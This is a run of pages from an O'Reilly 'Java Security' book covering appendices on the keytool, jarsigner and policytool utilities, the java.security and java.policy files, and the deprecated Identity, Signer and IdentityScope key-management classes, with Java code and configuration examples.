The file in which to store the certificate. The default is to write the certificate to System.out.

-printcert

Print out a certificate. The input to this command must be a certificate in RFC 1421 format; this command will display that certificate in readable form so that you may verify its fingerprint. Unlike all other commands, this command does not use the keystore itself, and it requires no keystore passwords to operate. It supports the following options:

-v
-file certificateFile

The file containing the RFC 1421 format certificate. The default is to read the certificate from System.in.

A.1.7. Importing a 1.1-Based Identity Database

The keystore in 1.2 is incompatible with the identity database in 1.1, but the keytool is capable of converting between the two. To convert a 1.1 identity database to a 1.2 keystore, use this command:

-identitydb

Convert a 1.1 identity database. This command has the following options

-v
-keystore keystore
-keypass keypass
-storepass storepass
-stereotype stereotype
-file db_file

The file name of the 1.1 identity database. The default for this is identitydb.obj in the user's home directory.

With this command, each trusted entry in the identity database will be created as a key entry in the keystore. All other entries in the identity database will be ignored.

A.1.8. Miscellaneous Commands

There are two remaining commands. The first allows you to change the global password of the keystore:

-storepasswd

Change the global password of the keystore. This command supports the following options:

-keystore keystore
-storepass storepass
-storetype storetype
-v
-new newPassword

The new global password for the keystore. If you do not specify this value, you will be prompted for it.

Finally, you can get a summary of all commands with this command:

-help

Print out a summary of the usage of keytool.

Previous | Home | Next
13.9. Summary | Book Index | A.2. The jarsigner Tool
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The jarsigner Tool (Java Security)

 Java Security Search this book

A.2. The jarsigner Tool

The next tool we'll look at is the jarsigner tool; this tool creates signed JAR files. The jarsigner tool uses the information in a keystore to look up information about a particular entity and uses that information either to sign or to verify a JAR file. As we discussed in the section on keytool, the keystore that jarsigner uses is subject to the KeyStore class that has been installed into the virtual machine; if you have your own keystore implementation, jarsigner will be able to use it. Similarly, if you use the standard keystore implementation, but hold the keys in a file other than the default .keystore file, jarsigner will allow you to use that other file as well.

A signed JAR file is identical to a standard JAR file except that a signed JAR file contains two additional entries:

  • SIGNER.SF--A file containing an SHA message digest for each class file in the archive. The digest is calculated from the three lines in the manifest for the class file. The base of this name (SIGNER) varies; it is typically based upon the alias of the keystore entry used to sign the archive.

  • SIGNER.DSA--A file containing the digital signature of the .SF file. The base of this name matches the first part of the .SF file; the extension is the algorithm used to generate the signature. This file also contains the certificate of the entity that signed the archive.

    The algorithm used to generate the signature depends upon the type of the key found in the keystore: if the key is a X509 (DSA) key, a DSA signature will be generated. If the key is an RSA key, an RSA signature will be generated (assuming you have installed a security provider capable of producing such signatures). If you have a keystore that contains other types of keys, jarsigner will be unable to use them to sign the JAR file.

These entries are held in the META-INF directory of the JAR file.

A.2.1. Creating a Signed JAR File

The simplest command to sign a JAR file is:

Class Definition

piccolo% jarsigner xyz.jar sdo

This command takes the existing JAR file xyz.jar and signs it using the private key of the given alias (sdo). The private key is obtained by searching for the given alias from the default keystore (which will be the .keystore file in the user.home directory unless a command-line argument is given). The signature files in this example will be named SDO.SF and SDO.DSA and will be added to the existing JAR file.

A JAR file can be signed by any number of entities simply by executing this command multiple times with different aliases. Each act of signing the JAR file creates a new set of .SF and .DSA files in the archive.

There are a number of options that can be used in conjunction with this command:

-keystore keystore

Specify the filename that the KeyStore class should use as the keystore.

-storepass storepass

Specify the global password that should be used to open the keystore. If this value is not provided, you will be prompted for it (which, as always, is the more secure way to enter a password).

-keypass password

Specify the password for the key entry of the given alias. If this value is not provided, you will be prompted for it.

-sigfile file

Specify the base name to be used for the .SF and .DSA files. The default for this value is the alias specified on the command line translated to all uppercase letters (e.g., SDO in the example above). If the alias name has more than eight letters, only the first eight letters are used. The file argument in this option can only contain uppercase letters, the digits 0-9, and an underscore; it must contain eight or fewer letters.

-signedjar file

Write the signed JAR file to the named file instead of adding the signature entries to the existing JAR file.

-verbose

Print out information as jarsigner progresses.

A.2.2. Verifying a JAR File

In the process of verifying a JAR file, jarsigner will use the public key of the certificate embedded in the JAR file to verify that the signature is valid. The simplest command to verify a JAR file is:

Class Definition

piccolo% jarsigner -verify xyz.jar
jar verified.

If the signature in the JAR file is not valid, jarsigner will produce this output:

Class Definition

jar is unsigned. (signatures missing or not parsable)

Verification accepts the following options:

-sigfile file

Use the given base name to look up the .SF and .DSA files. This option is useful when the JAR file has been signed by multiple entities.

-verbose

Provide verbose output for the verification, indicating for each file if it was signed and whether or not the signer of the file has been found in the keystore. Sample output from this command might appear like this:

Class Definition

piccolo% jarsigner -verify -verbose xyz.jar

        402 Mon Jan 26 19:25:52 EST 1998 META-INF/SDO.SF
       1395 Mon Jan 26 19:25:52 EST 1998 META-INF/SDO.DSA
smk     596 Sat Jan 24 22:18:22 EST 1998 XYZKey.class
smk     814 Sat Jan 24 22:17:46 EST 1998 XYZKeyPairGenerator.class
smk    1155 Sat Jan 24 21:56:40 EST 1998 XYZProvider.class
smk     900 Sat Jan 24 22:11:22 EST 1998 XYZSignature.class

  s = signature was verified
  m = entry is listed in manifest
  k = at least one certificate was found in keystore

jar verified.

Note the legend for each file that is printed by this command. We know if the file was signed, whether or not it was listed in the JAR file's manifest, and whether or not the signer of the file was found in the keystore.

In the vast majority of cases, the information for each file will be the same: JAR files are usually signed all at once by the same person. However, there's nothing to prevent someone from adding a new class to a signed JAR file (in which case the class would appear as unsigned), or for a JAR file to contain multiple signers (some of whom may have signed some of the classes, while others may have signed only a few of the classes).

In order to determine whether the certificate was found in the keystore, jarsigner opens the default instance of the KeyStore class and loads it. Note that no password is required for this operation. As we mentioned in Chapter 11, "Key Management", reading the public information out of the keystore does not require a password (at least in the Sun implementation of the KeyStore class).

-ids

In conjunction with the -verbose option, print out the distinguished name and alias of the certificate (if any) that is found with each class. With this option, the output for a particular class looks like this:

Class Definition

smk     900 Sat Jan 24 22:11:22 EST 1998 XYZSignature.class
    CN=Scott Oaks, OU=SMCC, O=Sun Microsystems, L=NY, S=NY, C=US (sdo)

In this case, the class was signed by the given distinguished name; the name of the alias associated with the certificate is shown in parentheses (sdo).

This option has no effect unless the -verbose option is specified.

-keystore keystore

Use the given file as the name of the keystore to load. The default for this option is to use the .keystore file in the directory specified by the user.home property. This name is only used for the -verbose option to look up the certificates of the signer.

Previous | Home | Next
A.1. The keytool | Book Index | A.3. The policytool
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The policytool (Java Security)

 Java Security Search this book

A.3. The policytool

The last security-related tool that comes with the Java platform is policytool. This tool allows you to manage entries in a java.policy file. Unlike the other tools we've discussed, policytool is a graphical tool. As such, it has no command-line options or arguments.

When you first start policytool, you see a blank window with two pull-down menus: File and Edit. Initially, there are no policy entries loaded into this tool; if you want to work on an existing policy file, the first thing you must do is choose the Open command from the File menu. Otherwise, you can add new entries and create a new file containing those entries. Whichever method you choose, keep in mind that policytool is designed to operate on a single policy file.

When you've completed editing the entries for a policy file, you can save your changes. Under the File menu, you can use the Save or Save As command to overwrite the file you loaded or to save your changes to a new file.

A.3.1. Managing Policy Codebases

The initial screen for this tool displays the name of the currently loaded policy file (which is blank if no file has been loaded); the name of the keystore referenced within this file; buttons to add, edit, or remove policy entries; and a list of the current set of policy entries. In this context, a policy entry is the URL from which classes will be loaded; that is, a codebase or a code source. Hence, a single policy entry may contain many individual permissions. In Figure A-1 we've loaded the default java.policy file, which has one policy entry: an entry that grants permissions to all codebases.

Figure A-1. policytool loaded with one policy entry

Note that the keystore entry for this file is .keystore. You can change that value through an option under the Edit menu.

You can add new codebases to this file by selecting the Add Policy Entry button; when you add a policy entry, you are allowed to specify a URL and a signer (both of which are optional). The entry for the signer should be an alias in the keystore; if you enter a signer who is not in the keystore, you'll get a warning, but the operation will continue.

You may delete codebases by selecting one and pressing the Remove Policy Entry button. Selecting a codebase and pressing the Edit Policy Entry button allows you to edit the specific set of permissions for a codebase.

A.3.2. Managing Permissions

When you press the Edit Policy Entry button, you get a window similar to that shown in Figure A-2. This window lists all permissions that are associated with the given codebase, and provides the opportunity to add or remove individual permissions.

Figure A-2. A set of permissions for a codebase

A.3.3. Managing Certificate Entries

Policytool also allows you to perform some rudimentary operations on the default keystore (again, using whatever KeyStore class implementation has been installed into your Java platform). Under the Edit menu, there are options to add and remove public key aliases. These public key aliases are certificate entries in the keystore. In order to add an alias, you must specify a name for the alias and the name of a file containing a certificate (in RFC 1421 format) to import for that alias; you may remove an alias simply by name.

Previous | Home | Next
A.2. The jarsigner Tool | Book Index | A.4. Files to Administer by Hand
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Files to Administer by Hand (Java Security)

 Java Security Search this book

A.4. Files to Administer by Hand

There are two security-related files in the Java platform that must be modified by hand (rather than by a tool). We've talked about these files throughout the book, but for reference, we'll discuss the files and the information they hold.

A.4.1. The java.security File

The java.security file must be in the $JAVAHOME/lib/security directory. This file is consulted for the following information:

A list of security providers

You may have any number of entries in this file that specify a security provider that should be installed into the virtual machine. By default, there is one security provider specified by this entry:

security.provider.1=sun.security.provider.Sun

You may specify additional security providers by listing their full class name in this file. Make sure that all security providers are numbered consecutively starting with 1; additional providers can be added before the Sun provider as long as the number assigned to the Sun provider is adjusted accordingly (or the Sun provider could be removed altogether). Remember that this list of providers is consulted when the virtual machine first starts, but that programs with sufficient permissions may add and delete providers from this list.

A KeyStore type

You must have and entry in this file that lists the default type of keystore that an application should use. By default, that type is listed as:

keystore.type=jks

If you change the type listed in this entry, the new type will be used whenever anyone requests the default keystore implementation.

A Policy class implementation

You must have an entry in this file that lists the class that should be used to provide the implementation of the Policy class. By default, that class is listed as:

policy.provider=sun.security.provider.PolicyFile

If you change the class listed in this entry, the new class will be instantiated when the policy object is required (i.e., when the permissions for a given codebase are first used). There can be only one policy entry in this file.

The names of the default policy files

When the default implementation of the Policy class reads in permissions, it will read them from the URLs listed as this set of properties:

policy.url.1=file:${java.home}/lib/security/java.policy

policy.url.2=file:${user.home}/.java.policy

You may specify any number of files in this manner, but the list must start at 1 and be numbered consecutively. The set of permissions will be the aggregate of all permissions found in these URLs.

Remember that these URLs contain only global permissions. You may also specify on the command line a file containing policies with the -Djava.security.policy argument. If the name following the -Djava.security.policy argument begins with an equals sign, the URLs listed in the java.security file are ignored:

-Djava.security.policy=/globals/java.policy

adds the policies in the /globals/java.policy file to the set of policies in force, but:

-Djava.security.policy==/globals/java.policy

sets the policy only to the entries contained in the /globals/java.policy file. The -Djava.security.policy argument must be with the -Djava.security.manager; if you want to use only the files listed in the java.security file, specify -Djava.security.manager without -Djava.security.policy.

Other implementations of the Policy class may or may not use these properties.

Whether or not property substitution is allowed

The ability to make property substitutions for entries in the java.security file or in the java.policy file depends on this entry:

policy.expandProperties=true

Whether or not the -Djava.security.policy argument can be used

The ability to use the -Djava.security.policy argument depends on this entry:

policy.allowSystemProperty=true

A.4.2. The java.policy File

In many cases, you'll use policytool to modify the entries in a java.policy file (or create a new one). However, if you need to add custom permissions to this file that aren't supported by policytool, you must edit it by hand.

The format of the java.policy file is as follows:

Class Definition

keystore "<keystore_url>";

grant [signedBy "<signer1[, signer2]>"] [codeBase "<URL>"] {
    permission <classname> ["<name>"] [, "<actions>"]
                    [, signedBy "<signer1[, signer2]>"];
    ...
};
...

Items in square brackets are optional. Items in angled brackets are replaced by specific information, e.g., a signer must be a valid alias in the keystore. Within a grant block, there may be any number of permissions, and within a file, there may be any number of grant blocks.

For example, here are some typical entries in the java.policy file:

Class Definition

grant {
    permission java.util.PropertyPermission "java.version", "read";
}

grant signedBy "sdo", codeBase "http://piccolo/" {
    permission java.io.FilePermission "${/}tmp${/}-", "read, write, delete";
    permission XYZPayrollPermission "*", "read, write";
}

grant codeBase "http://www.sun.com" {
    permission java.io.FilePermission "${/}tmp${/}-", "read";
    permission java.io.FilePermission "${/}tmp${/}-",
                "read, write, delete", signedBy "sdo";
}

In the first block, permission is given to code that comes from any location to access the java.version property. The second block grants permissions (including a custom XYZ payroll permission) to any code that is loaded from the site piccolo and that is signed by sdo. The third block grants permission to any code that is loaded from www.sun.com to read files in the /tmp directory (or any of its subdirectories); if that code is signed by sdo, it is allowed to read, write, and delete such files.

Previous | Home | Next
A.3. The policytool | Book Index | B. Identity-Based Key Management
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Identity-Based Key Management (Java Security)

 Java Security Search this book

Appendix B. Identity-Based Key Management

Contents:

Identities
Identity Scopes
Key Management in an Identity Scope
Summary

In Java 1.1, the primary tool that was used for key management was javakey, which is based heavily on the Identity and IdentityScope classes. The keytool utility that comes with 1.2[1] is a better way to implement key management, and the KeyStore class on which keytool is based is definitely more flexible than the classes on which javakey is based. In addition, the javakey database uses some classes and interfaces that have been deprecated in 1.2--primarily the java.security.Certificate interface.

[1]1.2 is now Java 2.

Nonetheless, for developers who are still using 1.1, a key management system based upon the Identity and IdentityScope classes is the only possible solution. In this appendix, we'll show how these classes can be used for key management. All of the techniques we'll discuss in this appendix have a complementary technique in key management with the KeyStore class. In addition, the Identity and IdentityScope classes have been deprecated in 1.2, so you should really move to the keystore implementation as soon as possible.

B.1. Identities

You probably noticed in Chapter 10, "Keys and Certificates" that none of the key classes had any notion of whom the key belonged to. Keys are really just an arbitrary-appearing series of bytes. The set of classes we'll examine now deal with the notion of identity: the entity to which a key belongs. An identity can represent an individual or a corporation (or anything else that can possess a public or a private key).

B.1.1. The Identity Class

First we'll look at the primary class used to encapsulate an entity that has a public key, the Identity class (java.security.Identity):

public abstract class Identity implements Principal, Serializable figure

Implement an identity--an entity that has a public key. In 1.1, this class is abstract.

An identity object holds only a public key; private keys are held in a different type of object (the signer object, which we'll look at a little later). Hence, identity objects represent the entities in the world who have sent you their public keys in order for you to verify their identity.

An identity contains five pieces of information:

  • A name--the name of the identity; this satisfies the Principal interface that the identity implements.

  • A public key.

  • An optional information string describing the identity.

  • An optional identity scope. Identities can be aggregated into a collection, which is called an identity scope.

  • A list of certificates that vouch for the identity.

Note that the default implementation of an identity object carries with it no notion of trustworthiness. You're free to add that feature to your own identity class.

B.1.1.1. Using the identity class

If you want to use an identity object, you have the following methods at your disposal:

public final String getName() figure

Return the name of the identity.

public final IdentityScope getScope() figure

Return the identity scope to which the identity belongs.

public PublicKey getPublicKey() figure

Return the public key associated with the identity.

public void setPublicKey(PublicKey key) throws KeyManagementException figure

Set the public key associated with the identity to the given public key. This replaces any previous public key as well as any previous certificates associated with this identity. If the public key is already associated with another identity in the identity scope to which this identity belongs, a KeyManagementException is thrown. The implementation of this method in the base class does not actually check the identity scope to see if the key already exists in another identity; it's up to the concrete subclass to provide this functionality.

public String getInfo() figure

Return the information string associated with the identity.

public void setInfo(String info) figure

Set the information string in the identity, replacing any existing information string.

public void addCertificate(java.security.Certificate certificate) figure

Add the given certificate to the list of certificates in the identity. If the identity has a public key and that public key does not match the public key in the certificate, a KeyManagementException is thrown. If the identity does not have a public key, the public key in the certificate becomes the public key for the identity. Like the setPublicKey() method, this should generate a KeyManagementException if this conflicts with another key in the identity scope, but the implementation in the base class doesn't automatically provide that.

public void removeCertificate(java.security.Certificate certificate) figure

Remove the given certificate from the list of certificates in the identity. If the given certificate isn't in the identity's list of certificates, no exception is thrown.

public java.security.Certificate[] certificates() figure

Return a copy of the array of certificates held in the identity. The array itself is a copy of what is held by the object, but the certificate objects themselves are not.

public final boolean equals(Object id) figure

Test if the given identity is equal to the current object. Identities are considered equal if they are in the same scope and have the same name. Otherwise, they are considered equal if the identityEquals() method returns true. By default, identities in different scopes are considered equal by the identityEquals() method if they have the same name and the same public key.

There are two ways to obtain an identity object--via the getIdentity() method of the IdentityScope class or by implementing and constructing an instance of your own subclass of the Identity class.

B.1.1.2. Implementing an Identity class

An application that wants to work with identities will typically provide its own identity class. A typical implementation of the Identity class is trivial:

Class Definition

public class XYZIdentity extends Identity {
    public XYZIdentity(String name)	throws KeyManagementException {
        super(name);
    }
}

Because all of the methods in the Identity class are fully implemented, our class need only construct itself. Here are the constructors in the Identity class that we have the option of calling:

protected Identity() figure

Construct an unnamed identity. This constructor is not designed to be used directly; it is provided for use by object serialization only.

public Identity(String name) figure

Construct an identity object that does not belong to an identity scope.

public Identity(String name, IdentityScope scope) throws KeyManagementException figure

Construct an identity object that belongs to the given scope. A KeyManagementException is thrown if the given name already exists in the identity scope.

We've chosen in this example only to implement the second of these constructors.

Other than the constructor, we are not required to implement any methods in our class. If you are implementing an identity within an identity scope, there are methods that you'll need to override in order to get the expected semantics.

Our identity class has one other option available to it, and that is the ability to determine when two identities will compare as equal (via the equals() method). The equals() method itself is final, and it will claim that two identities are equal if they exist in the same scope and have the same name. If either of those tests fails, however, the equals() method relies on the following method to check for equality:

protected boolean identityEquals(Identity id)

Test for equality between the given identity and this identity. The default behavior for this method is to return true if the identities have the same name and the same key.

If your identity class has other information, you may want to override this method to take that other information into account.

B.1.1.3. The Identity class and the security manager

The identity class uses the checkSecurityAccess() method of the security manager to prevent many of its operations from being performed by untrusted classes. Table B-1 lists the methods of the Identity class that make this check and the argument they pass to the checkSecurityAccess() method.

Table B-1. Methods in the Identity Class that Call the Security Manager

Method

Argument

Class Definition

setPublicKey()

Class Definition

set.public.key

Class Definition

setInfo()

Class Definition

set.info

Class Definition

addCertificate()

Class Definition

add.certificate

Class Definition

removeCertificate()

Class Definition

remove.certificate

Class Definition

toString()

Class Definition

print

The argument to the checkSecurityAccess() method is constructed from four pieces of information: the name of the class that is providing the implementation of the identity class, the string listed in the table above, the name of the particular identity in question (that is, the string returned by the getName() method), and the name of the class that implements the identity scope to which the identity belongs (if any).

In common implementations of the security manager, this string is ignored and trusted classes are typically able to work with identities, while untrusted classes are not.

B.1.2. Signers

An identity has a public key, which can be used to verify the digital signature of something signed by the identity. In order to create a digital signature, we need a private key. An identity that carries with it a private key is modeled by the Signer class (java.security.Signer):

public abstract class Signer extends Identity figure

A class to model an entity that has both a public key and a private key. Since this is a subclass of the Identity class, the public key comes from the implementation of that class, and a signer class needs only to be concerned with the private key.

The Signer class is fully implemented even though it is declared as abstract; an implementation of the Signer class need not implement any methods.

B.1.2.1. Using the Signer class

A signer is used just like an identity, with these additional methods:

public PrivateKey getPrivateKey() figure

Return the private key of the signer.

public final void setKeyPair(KeyPair pair) figure

Set both the public and private key of the signer. Since public and private keys must match in order to be used, this class requires that in order to set the private key, the public key must be set at the same time. If only one key is present in the key pair, an InvalidParameterException is thrown. The act of setting the public key might generate a KeyManagementException (a subclass of KeyException, which this method throws).

Except for these two operations, a signer is identical to an identity.

B.1.2.2. Implementing a signer

Signers are trivial to implement, given that none of their methods are abstract. Hence, it is simply a matter of calling the appropriate constructor:

Class Definition

public class XYZSigner extends Signer {
    public XYZSigner(String name) throws KeyManagementException {
        super(name);
    }
}

Note an unfortunate problem here: if you've added additional logic to your identity subclass, your signer subclass cannot use that logic. Your own signer subclass must extend Java's Signer class, not your own identity subclass.

B.1.2.3. Signers and the security manager

In addition to the security checks that will be made as part of the methods of the Identity class, the signer class calls the checkSecurityAccess() method of the security manager in the following cases with the strings in Table B-2.

Table B-2. Methods of the Signer Class That Call the Security Manager

Method

Parameter

Class Definition

getPrivateKey()

Class Definition

get.private.key

Class Definition

setKeyPair()

Class Definition

set.private.keypair

As with the Identity class, the actual string passed to the security manager is preceded with the name of the class, and the name of the identity is appended to the class along with the name of the identity's scope.

Previous | Home | Next
A.4. Files to Administer by Hand | Book Index | B.2. Identity Scopes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Identity Scopes (Java Security)

 Java Security Search this book

B.2. Identity Scopes

The database that an identity is held in is an identity scope. There can be multiple identity scopes in a Java program, though typically there is only a system identity scope. By default, the system identity scope for all Java programs is read from a file; this file is the database that javakey operates on. But the architecture of an identity scope can be more complex than a single scope.

As Figure B-1 shows, multiple identity scopes can be nested, or they can be disjoint. This is because an identity scope may itself be scoped--that is, just like an identity can belong to a particular scope, an identity scope can belong to another scope.

Figure B-1. Identity scopes

This architecture is not as useful as it might seem, since the identity scope class does not give any particular semantics to the notion of a nested identity scope. If you search the system scope in the figure for sdo's identity, you may or may not find it, depending on how the system identity scope is implemented. That's because there's no requirement that an identity scope recursively search its enclosed scopes for any information. And the default identity scope does not do such a recursive search.

This is not to prevent you from writing identity scope classes that use such semantics--indeed, writing such a scope is the goal of this appendix.

The idea of an identity scope, of course, is to hold one or more unique identities. However, possible implementations of an IdentityScope class (java.security.IdentityScope) are conceivably more complicated than that because of the definition of this class:

public abstract class IdentityScope extends Identity figure

Implementations of this class are responsible for storing a set of identities and for performing certain operations on those identities.

Hence, an identity scope is also an identity. That means that an identity scope might have a name and a public key, which gives you the ability to model an identity database in very different ways. Conceivably, you might want an identity scope for an organization that contains all the identities of individuals within that organization. Rather than having a separate identity for the organization itself, the organization's identity can be subsumed by the identity scope. Since the organization itself also needs a name and a public key, this type of model might offer some flexibility over the alternative: a model that just has a list of identities, some of which are individuals and one of which is the organization.

However, we'll ignore that possibility for now, and just explore the identity scope class with a view to its simplest use: as a holder of one or more identities.

B.2.1. Using the IdentityScope Class

The IdentityScope class is an abstract class, and there are no classes in the core JDK that extend the IdentityScope class. Like other classes in the security package, instances of it may be retrieved by a static method (albeit with a different name than we've been led to expect):

public static IdentityScope getSystemScope() figure

Return the default identity scope provided by the virtual machine. For javakey, this is the identity scope held in the identitydb.obj file in the user's home directory (or an alternate file specified in the java.security property file).

Once you have retrieved the system's default scope (or any other identity scope), you can operate on it with the following methods:

public abstract int size() figure

Return the number of identities that are held in this scope. By default, this does not include the number of nested identities in other scopes that are held in this scope.

public abstract Identity getIdentity(String name) figure

Return the identity object associated with the corresponding name.

public abstract Identity getIdentity(Principal principal) figure

Using the principal's name, return the identity object associated with the corresponding principal.

public abstract Identity getIdentity(PublicKey key) figure

Return the identity object associated with the corresponding public key.

public abstract void addIdentity(Identity identity) figure

Add the given identity to this identity scope. A KeyManagementException is thrown if the identity has the same name or public key as another identity in this scope.

public abstract void removeIdentity(Identity identity) figure

Remove the given identity from this identity scope. A KeyManagementException is thrown if the identity is not present in this scope.

public abstract Enumeration identities() figure

Return an enumeration of all the identities in this scope.

For the most part, using these methods is straightforward. For example, to list all the identities in the default identity database, we need only find the system identity scope and enumerate it:

Class Definition

public class Test {
    public static void main(String args[]) {
        try {
            IdentityScope is = IdentityScope.getSystemScope();
            System.out.println(is);
            Enumeration e = is.identities();
            while (e.hasMoreElements()) {
                Identity id = (Identity) e.nextElement();
                System.out.println(id);
            }
        } catch (Exception ex) {}
    }
}

There is one exception to this idea of simplicity, however. An identity scope is typically persistent--the javakey database is in a local persistent file, and you could write your own scope that was saved in a file, a database, or some other storage. However, you'll notice that there are no methods in the IdentityScope class that allow you to save the database for a particular scope. Hence, we could add a new identity to the system identity scope like this:

Class Definition

IdentityScope is = IdentityScope.getSystemScope();
Identity me = somehowCreateIdentity("sdo");
try {
    is.addIdentity(me);
} catch (KeyManagementException kme) {}

That adds an sdo identity to the system identity scope for the current execution of the virtual machine, but unless we can somehow save that scope to the identitydb.obj file, the sdo identity will be lost when we exit the virtual machine. Unfortunately, there are no public methods to save the identity scope.

As an aside, we'll note that the identitydb.obj file just happens to be the serialized version of an IdentityScope object--to save the database, we need only open an ObjectOutputStream and write the is instance variable to that output stream.

There's another point here that we must mention: the JDK's notion of the system identity scope expects to hold identity objects that are instances of a particular class that exists only in the sun package. This means that we can't actually write a fully correct somehowCreateIdentity() method--we can create identities, but they will not be of the exact class that the system identity scope expects. This can affect some of the operations of the javakey database, since some of those operations are dependent on properties of the Sun implementation of an identity that are not in the generic idea of an identity. When we write our own identity-based database at the end of this appendix, that will no longer be a problem (but we won't be able to use the javakey utility on that database, either).

B.2.2. Writing an Identity Scope

We'll now implement our own identity scope, which will be one of the classes that we'll use at the end of this appendix to put together an identity-based key management database. We'll write a generic identity scope that implements the notion that its identities are held in a file:

Class Definition

public class XYZFileScope extends IdentityScope {
    private Hashtable ids;
    private static String fname;

    public XYZFileScope(String fname) throws KeyManagementException {
        super("XYZFileScope");
        this.fname = fname;
        try {
            FileInputStream fis = new FileInputStream(fname);
            ObjectInputStream ois = new ObjectInputStream(fis);
            ids = (Hashtable) ois.readObject();
        } catch (FileNotFoundException fnfe) {
            ids = new Hashtable();
        } catch (Exception e) {
            throw new KeyManagementException(
                        "Can't load identity database " + fname);
        }
    }

    public int size() {
        return ids.size();
    }

    public Identity getIdentity(String name) {
        Identity id;
        id = (Identity) ids.get(name);
        return id;
    }

    public Identity getIdentity(PublicKey key) {
        if (key == null)
            return null;
        Identity id;
        for (Enumeration e = ids.elements(); e.hasMoreElements(); ) {
            id = (Identity) e.nextElement();
            PublicKey k = id.getPublicKey();
            if (k != null && k.equals(key))
                return id;
        }
        return null;
    }

    public void addIdentity(Identity identity)
                                throws KeyManagementException {
        String name = identity.getName();
        if (getIdentity(name) != null)
            throw new KeyManagementException(
                            name + " already in identity scope");

        PublicKey k = identity.getPublicKey();
        if (getIdentity(k) != null)
            throw new KeyManagementException(
                            name + " already in identity scope");
        ids.put(name, identity);
    }

    public void removeIdentity(Identity identity)
                                    throws KeyManagementException {
        String name = identity.getName();
        if (ids.get(name) == null)
            throw new KeyManagementException(
                            name + " isn't in the identity scope");
        ids.remove(name);
    }

    public Enumeration identities() {
        return ids.elements();
    }

    public void save() {
        try {
            FileOutputStream fos = new FileOutputStream(fname);
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(ids);
        } catch (Exception e) {
            System.out.println(e);
            throw new RuntimeException("Can't save id database");
        }
    }
}

Let's delve into the implementation of this class. First, there are two instance variables. The ids variable will hold the identities themselves; we've decided to hold the identities in a hashtable so that we can easily search them based on a key. That key will be their name, which makes locating identities in this scope by name very easy (but notice that locating them by public key is harder). The second variable, fname, is the name of the file that will hold the persistent copy of this identity scope.

There are three constructors in the IdentityScope class that are available to us:

protected IdentityScope() figure

Construct an unnamed identity scope. This constructor is not designed to be used by programmers; it is provided only so that an identity scope may be subject to object serialization.

public IdentityScope(String name) figure
public IdentityScope(String name, IdentityScope scope) figure

Construct an identity scope with the given name. If an identity scope is specified, the new identity scope will be scoped within the specified scope; otherwise, the new identity scope will have no scope associated with it (like Private Scope #2 in figure Figure B-1). A KeyManagementException will be thrown if an identity or identity scope with the desired name already exists in the given scope.

In our case, we've chosen only to provide our identity scope with a name. After calling the appropriate superclass constructor, our class opens up the stored version of the identity database and reads it in. Like the default javakey implementation, we've chosen the simple expedient of object serialization to a persistent file to provide our storage. If the file isn't found, we create an empty identity scope.

We've provided a simple save() method that serializes the private database out to the same file that we read it in from; this method has a package protection so that it will only be accessible by the code we develop. The remaining methods in our class are all methods we are required to implement, because they are methods that are abstract in our superclass. Because we're storing identities in a hashtable, their implementations are usually simple:

  • The size() method can simply return the size of the hashtable.

  • The getIdentity(name) method can simply use the name as the lookup key into the hashtable.

  • The getIdentity(key) method is the most complex method, although only slightly: it merely needs to enumerate the identities and test each one individually to see if the keys match.

  • The addIdentity() method can search to make sure that the name and public key of the new identity are unique and then simply store the identity into the hashtable with the name as its key.

  • The removeIdentity() method can just tell the hashtable to remove the identity with the appropriate key.

  • The identities() method can just return the hashtable enumeration.

There is one remaining protected method of the IdentityScope class:

protected static void setSystemScope(IdentityScope scope)

Set the system identity scope to be the given scope.

We haven't used this method in this example, but it is one that we'll rely on later when we extend this example. This method replaces the system identity database. Replacing the system database makes things easier for developers. When developers need to operate on identities, they expect to access those identities through the system database. Now that our class is the system database, we can return identities whether they exist in the user's private key database or in the shared public key database.

B.2.3. IdentityScope and the Security Manager

Like the Identity class, the IdentityScope class uses the checkSecurityAccess() method of the security manager to protect many of its operations from being performed by untrusted classes. This method is called by the setSystemScope() method (with an argument of "set.system.scope"); no other methods of the IdentityScope class call this method by default.

However, in the default identity scope implemented in the sun package, in the following situations, these methods call the checkSecurityAccess() method with the given string:

  • When the getIdentity() method would return a signer--that is, an identity that has a private key ("get.signer")

  • When the addIdentity() and removeIdentity() methods are called ("add.identity" and "remove.identity", respectively)

  • When the database is written to a file via object serialization ("serialize.identity.database")

When we implemented the abstract methods of our IdentityScope class, we probably should have made the decision to let the security manager override the ability of an untrusted (or other) class to perform these operations. Hence, a better implementation of the getIdentity() method would be:

Class Definition

public Identity getIdentity(String name) {
    Identity id;
    id = (Identity) ids.get(name);
    if (id instanceof Signer) {
        SecurityManager sec = System.getSecurityManager();
        if (sec != null)
            sec.checkSecurityAccess("get.signer");
    }
    return id;
}
Previous | Home | Next
B.1. Identities | Book Index | B.3. Key Management in an Identity Scope
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Key Management in an Identity Scope (Java Security)

 Java Security Search this book

B.3. Key Management in an Identity Scope

We're now going to put together the identity scope with the information about the identity class to produce another key management system. One of the primary limitations of the default identity scope is that it's based upon a single file. If you're in a corporation, you may want to have an identity scope that encompasses the public keys of every employee in the corporation--but you can't afford to put the private keys of the employees in that database. Every employee needs read access to the database to obtain his or her own key; there's no practical way with a single identity scope to prevent these users from reading each other's private keys.

Hence, in this example, we're going to develop an identity scope that provides for the architecture shown in Figure B-2.

Figure B-2. A key management architecture

There are two simple goals to this example:

  • There should be a central database (identity scope) managed by the system administrators of the XYZ Corporation. This database will hold the public keys of all identities that are used in the system, along with a security level that is assigned to each identity.

  • Each user should have a private database that holds the user's private key. The user's private key will be certified by the XYZ Corporation itself, so this private database will need to have the public key of the XYZ Corporation. We'll make this scope the system scope so that it can encapsulate the knowledge that there are two scopes in use; to a program, it will appear as only a single scope.

This architecture allows a program to access the user's private key, but not anyone else's private key; it also allows the corporation to set security policies for classes that are signed by particular entities.

There's a certain schizophrenic approach that a system administrator must take in order to use a system like the one we're describing here. Many of the operations that are provided by javakey cannot be duplicated by a standard Java program. Hence, we must always rely on javakey to perform certain operations (like importing a 1.1-based certificate), and then we need to convert from the javakey database to our own database.

We must implement three classes for this example: an identity class, a signer class, and a shared identity scope class (which will be based upon the XYZFileScope class that we showed above).

B.3.1. Implementing an Identity Class

